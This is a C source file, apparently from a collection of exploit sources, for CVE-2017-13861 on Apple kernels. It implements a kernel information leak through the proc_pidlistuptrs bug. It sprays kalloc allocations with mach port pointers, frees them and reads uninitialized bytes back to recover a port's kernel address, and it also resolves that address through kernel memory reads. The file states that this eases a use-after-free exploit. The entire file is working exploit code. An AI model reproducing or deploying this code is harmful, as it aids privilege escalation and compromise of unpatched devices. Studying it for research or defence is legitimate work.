Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/external/source/exploits/CVE-2017-13861/find_port.c
Views: 11780
#include <stdio.h>1#include <stdlib.h>2#include <unistd.h>34#include <mach/mach.h>56#include "kmem.h"7#include "koffsets.h"8#include "kutils.h"9#include "find_port.h"10#include "common.h"1112#include <CoreFoundation/CoreFoundation.h>13extern void NSLog(CFStringRef, ...);14#define LOG(str, args...) do { NSLog(CFSTR("[*] " str "\n"), ##args); } while(false)151617/*18* this is an exploit for the proc_pidlistuptrs bug (P0 issue 1372)19*20* It will reliably determine the kernel address of a mach port.21* Knowing the addresses of ports makes the other UaF exploit much simpler.22*/2324// missing headers25#define KEVENT_FLAG_WORKLOOP 0x4002627typedef uint64_t kqueue_id_t;2829struct kevent_qos_s {30uint64_t ident; /* identifier for this event */31int16_t filter; /* filter for event */32uint16_t flags; /* general flags */33uint32_t qos; /* quality of service when servicing event */34uint64_t udata; /* opaque user data identifier */35uint32_t fflags; /* filter-specific flags */36uint32_t xflags; /* extra filter-specific flags */37int64_t data; /* filter-specific data */38uint64_t ext[4]; /* filter-specific extensions */39};4041#define PRIVATE42#include <sys/event.h>43#include <sys/time.h>44#include <sys/types.h>4546struct kevent_extinfo {47struct kevent_qos_s kqext_kev;48uint64_t kqext_sdata;49int kqext_status;50int kqext_sfflags;51uint64_t kqext_reserved[2];52};5354extern int kevent_id(uint64_t id, const struct kevent_qos_s* changelist, int nchanges, struct kevent_qos_s* eventlist, int nevents, void* data_out, size_t* data_available, unsigned int flags);5556int proc_list_uptrs(pid_t pid, uint64_t* buffer, uint32_t buffersize);5758// appends n_events user events onto this process's kevent queue59static void fill_events(int n_events)60{61struct kevent_qos_s events_id[] = { { .filter = EVFILT_USER,62.ident = 1,63.flags = EV_ADD,64.udata = 0x2345 } };6566kqueue_id_t id = 0x1234;6768for (int i = 0; i < n_events; i++) {69int err = kevent_id(id, events_id, 1, NULL, 0, NULL, NULL,70KEVENT_FLAG_WORKLOOP | KEVENT_FLAG_IMMEDIATE);7172if (err != 0) {73LOG("failed to enqueue user event");74exit(EXIT_FAILURE);75}7677events_id[0].ident++;78}79}8081int kqueues_allocated = 0;8283static void prepare_kqueue()84{85// ensure there are a large number of events so that kevent_proc_copy_uptrs86// always returns a large number87if (kqueues_allocated) {88return;89}90fill_events(10000);91LOG("prepared kqueue");92kqueues_allocated = 1;93}9495// will make a kalloc allocation of (count*8)+796// and only write to the first (count*8) bytes.97// the return value is those last 7 bytes uninitialized bytes as a uint64_t98// (the upper byte will be set to 0)99static uint64_t try_leak(int count)100{101int buf_size = (count * 8) + 7;102char* buf = calloc(buf_size + 1, 1);103104int err = proc_list_uptrs(getpid(), (void*)buf, buf_size);105106if (err == -1) {107return 0;108}109110// the last 7 bytes will contain the leaked data:111uint64_t last_val = ((uint64_t*)buf)[count]; // we added an extra zero byte in the calloc112113return last_val;114}115116struct ool_msg {117mach_msg_header_t hdr;118mach_msg_body_t body;119mach_msg_ool_ports_descriptor_t ool_ports;120};121122// fills a kalloc allocation with count times of target_port's struct ipc_port pointer123// To cause the kalloc allocation to be free'd mach_port_destroy the returned receive right124static mach_port_t fill_kalloc_with_port_pointer(mach_port_t target_port, int count, int disposition)125{126// allocate a port to send the message to127mach_port_t q = MACH_PORT_NULL;128kern_return_t err;129err = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &q);130if (err != KERN_SUCCESS) {131LOG("failed to allocate port");132exit(EXIT_FAILURE);133}134135mach_port_t* ports = malloc(sizeof(mach_port_t) * count);136for (int i = 0; i < count; i++) {137ports[i] = target_port;138}139140struct ool_msg* msg = calloc(1, sizeof(struct ool_msg));141142msg->hdr.msgh_bits = MACH_MSGH_BITS_COMPLEX | MACH_MSGH_BITS(MACH_MSG_TYPE_MAKE_SEND, 0);143msg->hdr.msgh_size = (mach_msg_size_t)sizeof(struct ool_msg);144msg->hdr.msgh_remote_port = q;145msg->hdr.msgh_local_port = MACH_PORT_NULL;146msg->hdr.msgh_id = 0x41414141;147148msg->body.msgh_descriptor_count = 1;149150msg->ool_ports.address = ports;151msg->ool_ports.count = count;152msg->ool_ports.deallocate = 0;153msg->ool_ports.disposition = disposition;154msg->ool_ports.type = MACH_MSG_OOL_PORTS_DESCRIPTOR;155msg->ool_ports.copy = MACH_MSG_PHYSICAL_COPY;156157err = mach_msg(&msg->hdr,158MACH_SEND_MSG | MACH_MSG_OPTION_NONE,159(mach_msg_size_t)sizeof(struct ool_msg),1600,161MACH_PORT_NULL,162MACH_MSG_TIMEOUT_NONE,163MACH_PORT_NULL);164165if (err != KERN_SUCCESS) {166LOG("failed to send message: %s", mach_error_string(err));167exit(EXIT_FAILURE);168}169170return q;171}172173static int uint64_t_compare(const void* a, const void* b)174{175uint64_t a_val = (*(uint64_t*)a);176uint64_t b_val = (*(uint64_t*)b);177if (a_val < b_val) {178return -1;179}180if (a_val == b_val) {181return 0;182}183return 1;184}185186uint64_t find_port_via_proc_pidlistuptrs_bug(mach_port_t port, int disposition)187{188prepare_kqueue();189190int n_guesses = 100;191uint64_t* guesses = calloc(1, n_guesses * sizeof(uint64_t));192int valid_guesses = 0;193194for (int i = 1; i < n_guesses + 1; i++) {195mach_port_t q = fill_kalloc_with_port_pointer(port, i, disposition);196mach_port_destroy(mach_task_self(), q);197uint64_t leaked = try_leak(i - 1);198//LOG("leaked %016llx", leaked);199200// a valid guess is one which looks a bit like a kernel heap pointer201// without the upper byte:202if ((leaked < 0x00ffffff00000000) && (leaked > 0x00ffff0000000000)) {203guesses[valid_guesses++] = leaked | 0xff00000000000000;204}205}206207if (valid_guesses == 0) {208LOG("couldn't leak any kernel pointers");209exit(EXIT_FAILURE);210}211212// return the most frequent guess213qsort(guesses, valid_guesses, sizeof(uint64_t), uint64_t_compare);214215uint64_t best_guess = guesses[0];216int best_guess_count = 1;217218uint64_t current_guess = guesses[0];219int current_guess_count = 1;220for (int i = 1; i < valid_guesses; i++) {221if (guesses[i] == guesses[i - 1]) {222current_guess_count++;223if (current_guess_count > best_guess_count) {224best_guess = current_guess;225best_guess_count = current_guess_count;226}227} else {228current_guess = guesses[i];229current_guess_count = 1;230}231}232233//LOG("best guess is: 0x%016llx with %d%% of the valid guesses for it", best_guess, (best_guess_count*100)/valid_guesses);234235free(guesses);236237return best_guess;238}239240uint64_t find_port_via_kmem_read(mach_port_name_t port)241{242uint64_t task_port_addr = task_self_addr();243244uint64_t task_addr = ReadKernel64(task_port_addr + koffset(KSTRUCT_OFFSET_IPC_PORT_IP_KOBJECT));245246uint64_t itk_space = ReadKernel64(task_addr + koffset(KSTRUCT_OFFSET_TASK_ITK_SPACE));247248uint64_t is_table = ReadKernel64(itk_space + koffset(KSTRUCT_OFFSET_IPC_SPACE_IS_TABLE));249250uint32_t port_index = port >> 8;251const int sizeof_ipc_entry_t = 0x18;252253uint64_t port_addr = ReadKernel64(is_table + (port_index * sizeof_ipc_entry_t));254return port_addr;255}256257uint64_t find_port_address(mach_port_t port, int disposition)258{259if (have_kmem_read()) {260return find_port_via_kmem_read(port);261}262return find_port_via_proc_pidlistuptrs_bug(port, disposition);263}264265266